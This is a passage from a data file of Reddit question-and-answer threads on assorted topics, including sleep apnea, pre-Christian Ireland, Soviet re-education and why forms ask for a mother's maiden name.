\nEdit: said \"decoded\" instead of \"coded\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "bhx2m8", "title": "if you're diagnosed with sleep apnea is it possible to also stop breathing for a few seconds during the day?", "selftext": "How does it work if it's a sleep apnea condition, but you're awake, you're doing your own thing, then bam you stop breathing for a few seconds. Is it still sleep apena or something else?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bhx2m8/eli5_if_youre_diagnosed_with_sleep_apnea_is_it/", "answers": {"a_id": ["elweus5", "elwjdpb"], "score": [3, 2], "text": ["I believe at that point it's just an apnea. That said, in some cases they can drift off to sleep without being aware of it if they have a variety of other factors in which case it is, again, a sleep apnea.", "It's not like there's one type of sleep apnea.  Some sleep apnea is due to literal blockage of the lungs/upper airways.  Some is due to central nervous system malfunction.  In general, I think that the apneas you are talking about are pretty restricted to sleeping, otherwise it would just be an \"apnea.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "45q2ch", "title": "how do 'off the menu' items work at restaurants? are they created to build exclusivity?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/45q2ch/eli5_how_do_off_the_menu_items_work_at/", "answers": {"a_id": ["czzh2st", "czzhz0u", "czzjdr1", "czzmywt", "d000qzc", "d00cf01"], "score": [7, 27, 18, 9, 8, 2], "text": ["I worked at alot of chain restaurant's. Anything off the menu was because it was a fuck up i.e. we got pork instead of steaks. Or they were trying to sell an item before it spoils, same with your daily specials.", "Off menu items are generally 1) Thing made from components of other menu items. 2) Delivery mistakes that either send the wrong item, or send too much of an item. 3) An experiment that they are testing to see if it should be on the menu. ", "I worked at a place where the chef was also the general manager. Sometimes he would sit in the bar area and befriend customers. If he got to know someone really well, he would make them custom sandwiches or burgers. We didn't have steak on the menu but he ordered it just because there were two guys that would call ahead and he'd make them steak and fries to go.", "This could also be things that were at one time on the menu but were taken off to make room for new things or maybe because it wasn't profitable enough. Yet they still carry those ingredients for other things and regular customers remember it. ", "FYI, Starbucks does NOT have a secret menu and its so, so, so annoying when people act like they do. \n\nJust wanted to put that out there LOL", "In hospitality it is important to keep the customer happy and giving them a sense of importance by showing you will go the extra mile for them.\n\nA fine establishment will always have a side menu for special orders. If a vegan customer wants to dine in your restaurant the rudest thing you can throw in their face is a straight 'No, we don't serve people like you'. Instead you can say, \"our chefs can offer you [this], [this] or [this]\".\n\nIt may sound like the chef will craft something special specifically for you but in actual fact they already have meals planned with ingredients they already have from their main menu.\n\nYou will rarely see Emirates airlines or any of the high-end hotels in Dubai saying no to your request without offering you an alternative."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "a3wv02", "title": "do bad people know they're bad? do they care?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a3wv02/eli5_do_bad_people_know_theyre_bad_do_they_care/", "answers": {"a_id": ["eb9sbnc", "eb9sonm", "eb9tbcr"], "score": [4, 4, 3], "text": ["A question that's vague enough to be difficult to answer. \n\nYou'd have two different types of \"bad\" people. \n\nSociopaths - they don't understand what bad is because they can't feel empathy. Thus they act in ways that only benefit themselves. They can feel themselves but they can't feel other people. They might have an understanding of what bad is from what other people have told them, but they don't have the \"desire to be good\" built into them like a typical person. This is pretty close to what most people consider evil, but being a sociopath doesn't automatically make you a monster. Many sociopaths absolutely love the praise they get for helping people out, even if they don't care about the people themselves.\n\nThen you have the \"unintentionally evil\" - more of a TV trope, but these people believe what they've doing is right for everyone, even if it's actually bad. Maybe they've been raised by their parents to think all gay people are created by the devil, and so they act with hate towards gays because they think it's the correct thing to do. \n\nI put bad in quotes because few things are truely bad in the big picture. Someone might be mean to a child because that child has never been told no and assumed they can have whatever they want. Killing deer is considered bad to some people, but they have no natural predators in most areas. Unchecked population growth means all the deer in that area might die from disease and starvation, which would cause far more suffering. ", "The problem with answering this is that there are ALL SORTS of different kind of bad people. \n\nHere's some examples.\n\n* Violent sociopaths are bad people in most people's eyes. To themselves, they might actually know and believe they're a bad person. But they don't care.\n* A looter is a bad person, most people would think. But what if it's someone that's down on their luck and is convinced society is trying to oppress them and is just taking that TV because they fully believe they deserve to have one? They don't accept that their actions are bad.\n* A soldier killing an enemy fighter is bad from the perspective of the natives of the country he's helping to invade... but perhaps to his own citizens it's noble because it's in the service of removing a cruel tyrant who is causing famines and oppression. The soldier cares about what his family thinks of him, but maybe not so much about the family of that now-dead enemy fighter.\n* A drug dealer sells meth and wrecks lives... but donates a big chunk of the proceeds to an orphanage. Good? Or evil?\n\nEvil is rarely perfectly black and white.", "If by \"bad\" you mean incompetent, than the answer is no. There's a thing called the \"Dunning\u2013Kruger effect\" where people tend to be unaware of what they don't know. For example, as a mechanic (and many other crafts) you need to do steps in a certain order to avoid problems. An unskilled mechanic not only doesn't know the correct order, they aren't even aware that order is important.\n\nIf you mean bad as in \"evil\" you're going to run into problems of definition. Very often \"bad people\" are simply people with different morals and values. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "14btbw", "title": "It is said that the purpose of Soviet judiciary sentences were to 're-educate the masses' rather than to specifically punish. How accurate was this in practice?", "selftext": "I am writing an essay on Soviet law, and would like to start it with an introduction of the purpose of law.\n\nIn specifically the Lenin-Stalin period, I would like to know more about the purpose of punishment. Lenin often wrote he was interested in re-education of the masses, rather than wholesale criminal punishment. \n\nI was wondering how far this was put into practice, and whether the same could be said for Stalin's reign?\n\nAny articles available online would be fantastic. I have access to the main journal archives online.\n\n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/14btbw/it_is_said_that_the_purpose_of_soviet_judiciary/", "answers": {"a_id": ["c7bwn4d", "c7byzci"], "score": [3, 2], "text": ["I grew up in the Eastern Bloc and lived under a communist regime until I was 20 years old.\n\nAll that \"re-education\" stuff was bullshit. Just one of the many aspects of propaganda. Prison was prison, and not very nice either.\n\nIf you were convicted of political crimes, prison was really really nasty in fact. Ever heard of the Gulag?", "You could try reading Armando Valledares memoir 'Against all Hope' about his experience as a political prisoner for 22 years after the Cuban revolution.  He gives a first-hand account of the 're-education camps'.\nCuba had copied their system of 're-education' for political prisoners from the Soviets by this time.\n\nIf your looking for a source that says the 're-education' wasn't a political euphemism or a punishment then this book isn't it, but I think it will be hard to find any first hand accounts of someone who went through re-education and were suddenly enlightened on the error of their ways and glad it happened to them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "l6h40", "title": "- google analytics?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/l6h40/eli5_google_analytics/", "answers": {"a_id": ["c2q71qj", "c2q71qj"], "score": [4, 4], "text": ["Well you know, when you go to class and the teacher count everyone of you, and when you go to recess and they count who goes in and who goes out, Google analytics does pretty much the same thing, but with visitors of a website. They count how much goes in, how much goes out immediately(which is the bounce rate), how much time they spend there, how much pages they visit and all the beautiful thing they do. It saves everything and then show you beautiful graphics of what happened.\n\nFor a bit more technical, it count, with the help of a little piece of script on every web page on your website (and the ip address of the visitor) all the above info.", "Well you know, when you go to class and the teacher count everyone of you, and when you go to recess and they count who goes in and who goes out, Google analytics does pretty much the same thing, but with visitors of a website. They count how much goes in, how much goes out immediately(which is the bounce rate), how much time they spend there, how much pages they visit and all the beautiful thing they do. It saves everything and then show you beautiful graphics of what happened.\n\nFor a bit more technical, it count, with the help of a little piece of script on every web page on your website (and the ip address of the visitor) all the above info."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8l9ffr", "title": "Do animals other than humans have clitorises?", "selftext": "If so, is it unique only to mammals or is it farther reaching? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8l9ffr/do_animals_other_than_humans_have_clitorises/", "answers": {"a_id": ["dzfz2q9"], "score": [2], "text": ["Short answer: all mammals do.\n\nAn interesting study in point: the Spotted Hyena has a matriarchal society, but by some evolutionary quirk, social status is established by the size of their  pseudophallus, a modified clitoris (perhaps their social structures evolved from a male-dominated one?). This clitoromegaly isn't unique to hyenas; I believe ringtailed lemurs show it to.\n\nThe females use the fake structure for all the same purposes as the real one, with the added challenge of giving birth through it (60% of all first time births to spotted hyenas are stillbirths, as passing through pseudopenis during delivery isn't easy).\n\nSee [this article](_URL_0_) for more info."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://jezebel.com/introducing-the-pseudopenis-or-why-female-hyenas-are-f-1714981846"]]}
{"q_id": "2htj1h", "title": "why can't i watch awkward movies/shows/situations without hiding or running away.", "selftext": "For me awkward movies/shows/situations licit the same response as scary movies do. I will have the urge to run away from the room or cover my ears/hide my eyes. Why is it so hard for me to handle these situations. \n\nAlso why is it that my friends enjoy awkward humor and scary movies, but I have such a hard time handling them?\n\nEdit: Also is there any way to subdue this instinct so I can start to enjoy scary/awkward media?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2htj1h/eli5_why_cant_i_watch_awkward/", "answers": {"a_id": ["ckvxfs0"], "score": [2], "text": ["Empathy I guess. You imagine yourself in that situation. The same thing happens to me. Can't stand prank shows."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "19qv8p", "title": "I'm an average guy living in pre-Christian Ireland. What is my life like?", "selftext": "Let's say a hundred years before Christianity is introduced. What kind of place do I live in? What skills was I taught as a child? What could be my profession? What do I wear? What is my knowledge of the outside world? What sort of beliefs do I have? Who do I answer to?\n\n\nI realize this is not a well documented time period. All I know about it is that they were \"complex farming societies/chiefdoms\" from a historical atlas. But that says very little about their culture and what everyday life was like. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/19qv8p/im_an_average_guy_living_in_prechristian_ireland/", "answers": {"a_id": ["c8qnuhn", "c8qo230", "c8qonvg", "c8qqd3o", "c8qqjbx", "c8qqz6i"], "score": [19, 24, 98, 3, 194, 5], "text": ["Here is good source that provides the answer to your question. As for your question about lifestyle, that hasn't really been well documented. Historians can only assume what the daily life was like. Anyways, this site explains all.\n\nLink:\n\n_URL_0_\n\nHere's a good quote from the site:\n\n\"Humans first began to settle in Ireland about 10,000 years ago. These Mesolithic hunters and gatherers brought with them animistic religious beliefs and practices. With the transition to a lifestyle that was dependent upon domesticated plants and animals about 6,000 years ago, the religion changed. Spirits which had once animated animals and places, now became gods and goddesses. With the conversion to Christianity which began about 300 CE, the old deities began to disappear, either subsumed into Christianity or suppressed by the new religion.\"", "Getting down to brass tacks:  pretty hard to say 100% conclusively, since the best documentation we have comes down via folklore and sources that were only written down after the country had been fairly Christianized.  Judging from those however, you probably fell under some sort of tribal king, and it was a similar society to many other European Iron Age societies.\n\n\nIf we put Patrick's mission to Ireland sometime around 450 CE (\"The Annals of Ulster\" put the date of arrival at 432, but we'll give you some wiggle room\"), that puts you around 350 CE.  Not too far away in Roman Britain, things are about to get interesting in the Great Conspiracy of 367, during which the Romans effectively lost control (u/GunKnut1986 has a great post about this in another thread).  So decent chance that, if you were high born enough to wield a sword, and lived along the coast, you'd not only be going on cattle raids against your neighbors/participating in the internecine warfare that seemed common in that era (if the folklore is to be believed), but also doing a decent amount of sea reaving across the Irish Sea into Roman Britain, Wales, and possibly even Scotland.  This is the period that folks like Naill of the Nine Hostages (Niall No\u00edg\u00edallach) were active, and I've read a decent amount of claims (unsourced supposition really) that it may have been his forces that captured Patrick and many other Roman British citizens and carried them off into slavery in Ireland.\n\n\nOf course, from what I've managed to look into the period, there has been some discussion regarding classes.  Good chance that if you weren't part of the \"upper\"/warrior class, you were merely a poor peasant.  I'm not really aware of any sources on the subject though, but the limited amount of reading I've done seems to all agree on that much.  \n\n\nWelcome to hear opinions here, but \"How the Irish Saved Civilization\" is a pretty decent entry book on early Irish history, though it probably overstates Ireland's small-but-important role in preserving knowledge and helping to re-Christianize parts of Western Europe after the fall of the Western Roman Empire.", "This is a very, very general answer, but since there seems to be little specific info about the subject, general might be better.  If you are an 'average' citizen of pretty much any agricultural civilization before the modern period, your life pretty much consists of farming.  Population density and urbanization in some regions led to greater amounts of specialization, but those actively engaged in agriculture almost always remained the dominant employment demographic.  Your most important relationships are your immediate family (who are also your coworkers) and the other residents of your likely small village.  There is a very good chance you have never been more than 20 miles from where you were born, although further travel was by no means unheard of, especially in extraordinary times.  Speaking of extraordinary times, there is a chance that you would be involved as a peasant levee in a regional conflict, and a much, much smaller chance that your primary occupation would be as either part of a warrior class or as a mercenary, any of which would increase the amount you travel greatly.  However, the odds are better that you spend your whole life without being involved in any violent conflict at all.  Your knowledge of the outside world vary greatly, based on the proximity of your village to transportation channels and your personal curiosity.  Even though Ireland didn't lie on any particularly well travelled sea trade routes, water always means movement, movement means people, and people mean stories.   These stories would also diffuse along rivers, roads, and other means of transportation to the interior, and your fellow citizens would probably devote a decent chunk of their leisure time (which, remember, is probably significantly less than the leisure time of your average hunter-gatherer) to telling and listening to them.  Either way, you are relying on individuals more travelled than yourself to tell you stories they heard from other travelers who travelled even further than they have, and those travelers...  and so on.  You could certainly compile a lot of these stories if you had a mind to, but it only takes one braggart or idiot along the chain to sneak in an exaggeration, a misunderstanding, or an outright fabrication for the information to become suspect, so the further away, the less reliable your info.  Its worth noting that the Greeks knew of the existence of your island and the rough tribal structure of its inhabitants as far back as Ptolemy, and there is a decent amount of Roman coinage and trade goods found in archeological sites of pre-christian ireland, so you are by no means disconnected from international trade or the opportunity to see large swaths of the world if you are both committed and lucky.  You're probably ethnically, linguistically, and religiously a Celt, and your ancestors probably arrived on the Island in one of three population waves between 1000 and 300 years before the time period you specified.  This means that you keep some variation of the Druidic spiritual practice, and that you have a social hierarchy with local clan chiefs or mayors answering to petty regional nobles from the military class answering to a king, of which there are between 5 and a dozen at any given time before the unification in the 800's.  However, its very unlikely that you would have any dealings with anyone above the local level, and if your village passed in ownership from one kingdom to the next very little about your life will change.  If you live long enough, you probably have several children, most of whom do not survive to adolescence.  Its possible that you 'own' a small plot of land that you farm as you will, and owe only a percentage to your local political structure, but its also possible that you are semi-bound to the land you work by an aristocrat, although this is very unlikely to be a fully feudal system in your time.\n\n**tl;dr: The life of an 'average' person likely consisted of 95% farming, 4% leisure and religion, and 1% war, travel, education, adventure and any other activity**", "There isn't much that I can conclusively tell you - but I can tell you that your artwork hasn't yet evolved into the \"celtic knot.\" That was heavily influenced by the Christianization. \"Pre-Christian\" Irish artwork heavily consisted of spirals in various forms. Also keys and steps were common.\n\nI mention this because lots of people seem to have these ideas about this beautiful knotwork on all of this ancient Irish art and that's simply not the case. Their knotwork was originaly influenced by Roman art and happened when they became Christianized. Later it also featured influence from the Scandinavian knotwork that came with the Vikings once they settled in Ireland. \n\n", "Ireland around this time was split into six major kingdoms, who were in turn dominated by a collection of smaller Kings. These six Kingdoms were Ulster, Munster, Leinster, Connacht, Desmond and Meath. This would not mean very much to you, borders were ill defined and you would be more concerned about your local King (*Ri* in Irish) than who he was subservient to. The majority of Irish communities lived within an administrative area known as a *Tuath*. These were overlooked by the local Ri, who could have been male or female. There were other types of settlement called *Tricha Cit*, these were more sophisticated versions of the *Tuath*. To give you an idea of the size of these settlements, even the larger *Tricha Cit* would have fit into a Norman barony twenty times.\n\n**Warfare**\n\nWarfare in pre-Christian Ireland was a normality. Violence was seen as a way of resolving disputes. This ranged from simple cattle-raiding of an enemy Kings land, to small battles. One thing that **MUST** be noted, that other commenters on this thread have gotten wrong. It was not usual for peasants to be levied to fight. That duty was left to the King, his family and his clients. By in large, the common folk were left out of the fighting. Warfare and the general acceptance of it to settle disputes denotes a sense of stability within Ireland, in a rather paradoxical kind of way. Warfare often followed particular customs, that were adhered to by most involved. It was only with the arrival of the Vikings that the concept of Total War was passed on to the Irish.\n\n**Life**\n\nIn terms of Kingship, when one was to ascend to that title you would have to recite your family dynasty in order to prove you had the best claim. Due to the lack of literacy these lists were by in large made up. Polygamy was commonplace in Ireland, which caused particular problems when trying to find the next heir, this practice continued well into Christian times. It was also not unheard of for two family members to become Joint Kings when it was realised that conflict between them would mean mutually assured destruction.\n\nIrish society was familiar, tribal, rural and hierarchical. Family, not the individual was the basic unit. It was not until the arrival of the Vikings that towns as we know them today were introduced to Ireland. Some historians would further argue that Ireland scarcely had villages in this period. Everyone had their place, they were expected to perform their part and know what it was. The vast majority of the Irish were free, slaves were a small minority. You could become a slave, had you committed a serious crime. The nobility depended on it's clients and freemen for financial support. Each noble would have had at a minimum ten clients, and the highest number was usually around Fourty.  A client would pay the noble with food for rent and sometimes perform labor services, such as digging peat. They would attend the nobleman on ceremonial occassions as retainers and would also raid/ go to battle. These clients were not peasants, some of them could have been rich but preferred deferring to another noble for economic benefit. These Freemen would  have a certain amount of influence within their own *Tuath*, able to vote on certain things.\n\n**Crime**\n\nThe death penalty within Ireland at the time was actively discouraged, it was noted to have reviled many and was generally not exacted as a punishment. Instead, say if you were to be found guilty of theft, arson or assault you given a large fine, which would then have to be settled by your family if you were unable to pay. The family dealt with them themselves. if your family could not pay however, you were sold into slavery. While slavery wasn't commonplace in Ireland, it was sought after by many criminals as a preferable punishment than execution. Female slaves were highly sought after though, as they served as a measure of ones own wealth. It is noted in Brehon Law from the time that a female slave was worth either six Heffers or three dairy cows.\n\nNote from /u/Depanneur our Pre-Norman Ireland Flair\n\n > I only have one minor nitpick: in pre-Christian Ireland law would have been concerned with rehabilitation by the aggressor rather than fines. The honour price of the early medieval period was a recent development mirroring similar law practices in Germanic societies in England and the Continent, and it is likely that throughout much of the pre-Christian period the punishment for harming another was to rehabilitate them out of your own pocket. \n\n**Diet and Agriculture**\n\nIt has been argued that the Irish diet at the time was a lot better than that of the 19th Century. Meat was eaten regularly. Meat was usually salted and stored for winter. Summer food consisted largely of dairy produce, which was scarce in the Winter due to appalling livestock conditions. Even with many cattle, food shortages were still possible. Properly tilling and agricultural practices, such as arable cultivation and improved ploughing tools arrived with the monks centuries later. With the arrival of the monks the Irish diet tended to consist more of grains, bread and greater quantities of ale. From the seventh century onwards drunkenness became more commonplace (and so a stereotype was born).\n\nAs others have mentioned before, the vast majority of people would have been involved in agriculture. This agriculture was very primitive especially when it came to animal husbandry. Archaelogical evidence from the period suggests that nearly all livestock were malnourished and many died of sickness or from bad weather. It simply didn't make sense at the time to people to properly house and look after animals like we see it today.\n\n**Contact**\n\nTraders kept Ireland in contact with the rest of Europe. Since the middle of the 4th Century groups of Irishmen had raided areas on the British coast. Sometimes they staged not only 'hit and run' raids but established Irish settlements. As for contact with other Irish communities, there was an island wide tradition of meeting up once a year at a gathering known as the *Oenach*. A basic Irish assembly. The people from a number of different local *Tuath* would meet, sharing stories and expressing laws. This indicates that although there was no centralised Irish state or perception of unity there was a strong sense of identity between Gaelic communities. The *Oenach* showed a certain level of commonality.\n\nAnother meeting also took place, known as the *Oireacht* which was a lot more frequent. At these meetings free men would conduct public business.\n\nThe development of law shows a communal awareness within Ireland. A body of societal norms, they were written down in the 7th Century, until then they were simply passed on from person to person through word of mouth. The *Seanchas Mor* emerged in the 700's, a text book of Irish Law, streamlined and edited for over a hundred years prior to publication. This remained the cornerstone of Irish law. An ideal always to be aimed at. \n\n**Life Expectancy** \n\nAverage life expectancy for the time in Europe was around 40 years old, and it is likely that it would have been similar within Ireland also. An examination of sketal remains at Castleknock, dated between 850 and 1050 (yes after your dates, but I would assume that the life expectancy prior to this would have been equal to if not lower than 9th Century standards, considering the amount of positive change that had arrived with monasteries) showed that 23 per cent died between birth and 15 years of age, 6.5 per cent between 16 and 20, 68.1 per cent between 20 and 50. That is to say, that 97.6 per cent of the population died before their 50th birthday.\n\n > What could be my profession?\n\nYou would have been most likely a farmer, although it was possible if someone within your family knew a craft that you would follow them. Even nobles were expected to get their hands dirty, whether that was helping in the farming or as I mentioned earlier, cutting peat. There was not much to choose from. There was no warrior class. If you were truly lucky you may have become literary man, reciting poetry, and becoming in essence a 'Brehon Lawyer'. These bards, (the original Irish name escapes me at the moment) were highly sought after and revered within Irish society.\n\n", "There is a really good [Irish History Podcast]( _URL_0_) that is done by a wonderful Irish Historian named Finn Dwyer and some of the first episodes cover this issue. The part where he covers peoples dental hygene made me cringe. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://m.dailykos.com/story/2012/05/20/1093219/-Ancient-Ireland-The-Pre-Christian-Deities"], [], [], [], [], ["http://irishhistorypodcast.ie/contact/"]]}
{"q_id": "1v7d08", "title": "why do people tap their glass on the bar before taking a shot?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1v7d08/eli5_why_do_people_tap_their_glass_on_the_bar/", "answers": {"a_id": ["cepel6h", "cepepe0", "cephx7i", "cephyok", "cephzw1", "cepidfi", "ceptffe", "ceq198m"], "score": [102, 12, 4, 7, 2, 11, 2, 2], "text": ["The cheers and clinking of glasses together is well documented as having come from medieval times and the sign of trust that your drinking partner didn't slip you deadly poison. But what about the tapping of the glass after the cheers? The reasons for this are simple...\r\rFirstly beer, wine, and liquor, i.e. distilled spirits, were safer to drink in \"olden times\" than water for purity reasons. We also know that the common man, soldiers and knights, and other lower nobility drank beer because wine and liquor were expensive. Also, back then, drinking was some of the only entertainment to be had and so games and thus traditions that have been carried on to even today, were started by people who drank beer.\r\rSo what is the fundamental, and provable, point of the \"tap\"?\r\r1. After you \"clink\" your mugs/glasses/pints/etc you cause the head, or the foam, to rise. Tapping it on the bottom causes the head to fall so that you can chug/swill the beer with less of a problem, especially in a drinking contest setting.\r\r2. If you are in a drinking contest the sound of your cup hitting the table, before you drink, and not when you start drinking is usually what the \"judges\" go by, as to when you started. That is also why the cup is slammed down afterward, to signify the end of your drinking \"round\".\r\rWhere did this tradition come from? Well probably sometime early on when beer became extremely popular as a drink for the masses. Sometimes these obscure traditions and games grew slowly over time and were altered from generation to generation and spread around until we have what we have today. It's like asking about the invention of the game of \"Quarters\"... but we'll get to that some other time.", " American bar employee here: Ive always thought of it to represent respect to the bar you are in. After a cheers with everyone else, everyone taps on the bar as a sign that they hold the bar in some high regard. \n", "If you should ever go to Hungary, don't touch glasses! Even if it's beer, it's considered rude cause austrian generals were known for drinking much and always touching glasses if they had a success. So they just switched to tap their glasses on the table.", "Midwestern American bartender here. My friends and I have always done to honor those that can no longer be there to share the toast. A lot like \"pouring some out\". ", "It started as more of a competition to who could drink the shot quicker.  You're essentially racing by tapping the bar and bringing the shot glass back up for consumption.  Anyone who has played flip cup would have seen this when the first two people start drinking.  They cheers, hit the table and then begin the race.", "Within military circles, in Canada at least, it's an unspoken tribute to fallen comrades.", "No one really knows why. Everyone has an opinion of why but nothing can be proven. Cheers! Tap. Drink. ", "I do it. But only because everybody else is doing it. Reason enough?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "8iofzl", "title": "what is the significance of having to list mothers maiden name when filling anything out?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8iofzl/eli5what_is_the_significance_of_having_to_list/", "answers": {"a_id": ["dytatmm", "dytaw3y", "dytaxj9", "dytb35c", "dytc1co", "dytfgra", "dytgxfp", "dyth03v", "dyth84x", "dyth9ck", "dyth9jn", "dythotn", "dythrjd", "dythzly", "dyti3ww", "dytipvm", "dytlepo", "dytliej", "dytm5we", "dytntlc", "dytob57", "dytryed", "dytrzqs", "dyts9ds", "dytt6wp", "dytyjv9", "dytzcc4", "dyu2kpv", "dyu4tof", "dyu6qkg", "dyuahtd", "dyufk7e", "dyuoa6h"], "score": [394, 16, 708, 9570, 70, 279, 3, 14, 99, 5, 6, 2, 2, 11, 5, 670, 3, 2, 5, 2, 2, 2, 3, 24, 2, 3, 2, 2, 2, 3, 2, 2, 3], "text": ["Just one more piece of information to identify yourself. The more questions they ask, the harder it is to forge your identity.", "Security... your mother's maiden name is something probably only you would know if you had to identify yourself to e.g. retrieve a password.", "It's something that you will know, but most people would not... so it's a uniform piece of data that can be used as proof of identification.", "It's a piece of information that you will never forget that doesn't come up in normal conversation.\n\nA security question like your first kid's name is something you won't forget, but it's not that hard for someone to bring it up in conversation. If someone casually asks my mother's maiden name, I assume they're trying to steal my identity.", "A persons mothers maiden name is easy to find, census data and genealogy  are the two easiest places to start\n\nJohn Smith is common, there are lots of John Smiths\n\nJohn Edward Smith is less common but fully plausible that there are multiple people with the same three names\n\nBirth year  yes it is still possible for there to be 2 or more John Edward Smith's born in the same year but getting less likely\n\nMom's maiden name.. now were getting into the highly unlikely area\n\nThis is a way to make sure that whoever needs to identify you gets the right person.\n\n", "In many cultures around the world, the woman's last name is \"lost\" when they marry, as they become part of the man's family. So, while a kid would know that his mom used to be Jane Doe, most people would only know her as Jane Smith.\n\nThis backfires when you are in a culture in which the names are added, like Hispanic cultures do. In Spain or Mexico the Jane Doe Byrd married John Smith Anderson, and their kid is James Smith Doe, so everybody knows little Jimmy's mom's maiden name.", "So that they can ask you what your mother's maiden name is to verify that you are who you say you are. I don't want to be a jerk but how do you not know that?\n\nOf course, this is terrible security. This is not a difficult question for a random scammer to figure out. If you care about security, use a different name, like \"Banana\".\n\nAside: I am getting divorced and because I believe my wife is capable of doing something irrational, I changed almost all of my passwords (and in the process moved most into LastPass using strongly random values). While doing this I realized that my wife could almost certain take over any of my accounts because she knows my SSN, wife's maiden name, addresses, etc. A bit scary but there's only so much you can do.", "The idea is that only you know (which is obviously false and why these \"secret questions\" often are a pile of shit) which reinforces your claim that you are who you are, when you miss the credentials that are *supposed* to do that. (Username and password, etc)", "It's to prove that you were born. There are a lot of \"people\" that are grown nowadays that try to get the same benefits us naturals get", "It's essentially to verify the information on your birth certificate which lists your mother's maiden name", "It is used to verify your identity, the thought being that it was relatively difficult information for someone other than yourself to find out. Of course, the internet has made that pretty easy to learn now, which is why you see so many other 'challenge questions' offered. \n\nPro tip: Answer challenge questions with things people can't find out by Googling you, or use completely off\\-the\\-wall answers you will be able to remember. My first car model? Viper. \\(not true, but I can remember I BSed it\\)", "My question with all these answers is how it isn't super easy to figure out. Like I'm pretty sure through public records someone could easily figure out the answer for me with just knowing my name. If they're trying to hack me, wouldn't looking that up be just a small step for them to perform?", "Makes it easier to do background checks. Especially for people with common names like John Smith or something, it may make it easier to narrow down/find the actual person they\u2019re trying to look into. ", "Challenge questions don't have to be true you know. Maiden name answer could be: \"don't know, ask her\"\n\n", "Depends on who asks. Sometimes it is required to give that information as it will be crosschecked against other data that might be from the time when she wasn't married (like her birth certificate).", "I started writing the response below as a joke, but I found a very interesting article that actually *does* trace back the question way farther back than I initially thought.\n\n >  The first record of querying someone about their mother's maiden name goes back much farther than questionnaires or forms for personal information or identification security.\n >  Back in the 19th Century it was used as a way to segregate bastards or orphans from those who had (presumably) birthrights.\n\nSo here's the article that really *does* trace this back to the 19th Century:\n\n[Your mother's maiden name has been a 'security question' since 1882](_URL_0_)\n", "Let's say you're called John Smith, your mother's maiden name is Jane Wilson, and her current name is Jane Smith. There must be a bunch of other people called John Smith whose mother is also called Jane Smith. Since women often change their last name to that of their husband, their first name is the only name useful to identify you.\n\nNow, your mother's maiden name has nothing to do with your name. So there are much fewer people called John Smith with a mother whose maiden name was Jane Wilson.\n\nSo simply, when the government wants to identify you, using your mother's maiden name decreases the number of false matches with other people.", "I have a friend who's from a tiny village from the middle of nowhere in Asia, where they don't use surnames, they just make sure everyone's first name is different.\n\nSo filling out official forms for him is always fun.", "It's a cultural relic from when:\n\n* Designers assumed that all mothers were married\n* Designers assumed that all women changed their names, and their maiden name was different \n* Designers assumed that all kids took their father's name\n* It was impossible to find out a woman's maiden name without knowing her personally. \n\nThose were only barely true in the 70s when these systems were being designed, and are laughably untrue now. It's basically just lazy design to include it as a security question. ", "In addittiom to the antiquated and flawed security responses, I suspect that in relqtion to government forms it is most likely easier to locate personal identity of an individual from the given name at birth rather than one that was chosen at a later time.\n\nAlso, as for identity theft, it is an absolutely horrible question that should not be used. Parents and family members and even family friends might know the answer to such simple information which can easily be used to say take out a student loan. Which is precisely what happened to my girlfriend. A former boyfriend of her mothers took out a loan in her name, but the only security is information like birthdate and mothers maiden name. So even though they knownhe took the money, she cant prove she didnt take out the loan and so she must now pay it back.", "Most answers are assuming you mean \"when filling out password hints.\" I am going to assume that you mean \"when filling out official documents, like a passport application.\"\n\nYou mother's maiden name is her official name, as recorded on her birth certificate. When people marry they will sometimes change their last names. There is no official way to do this, they just simply start using whatever last name they want and can even use different last names for different services. The official last name doesn't change from what is recorded on their birth certificate, so forms continue to ask for the maiden name in order to ensure they have the right person. ", "Protip: use a different security question where possible. This information can be found on many websites - _URL_0_ being a well known one. ", "I literally just came across this issue trying to sort out a bank charge dispute. My bank uses a telephone service pin but I set it up so long ago that I honestly don't even know what it is, so they ask these back up questions as a second resort. I don't think it even matters if the maiden name is legally correct, it's just something fairly unique recorded in their database that they can check against to prove I can answer it, among my other details.", "These \"standard\" security questions do not make sense globally. Not all women change their name when they get married (there are geographical differences) and neither are all mothers married. Having the \"current\" name of your mother would be a lot lower in security and safety. \nIt is a liability created in that system that allows you to login without your password. I hope we will find safer ways in the near future. In my opinion a combination of several security methods could be used. The idea that you need \"something you have, something you know, something you are\" You could have a verified device, a password, a fingerprint or facial scan, a pin code, a 2(3)FA system via sms or code generator. \n\nFor logging in in a certain banking app, you need to verify your phone as the \"something you are\" and then you'll need your pin OR your fingerprint on your phone to enable login. If you happen to either lose your phone or both chop off your finger and forget your pin, the only way to \"reset\" these is with your passport in a physical bank location. This is much safer than guessing a common maiden name. 3% of the american population is named Smith, Johnson, Williams, Brown or Jones. It would not take an insurmountable amount of effort to try, and a 3% 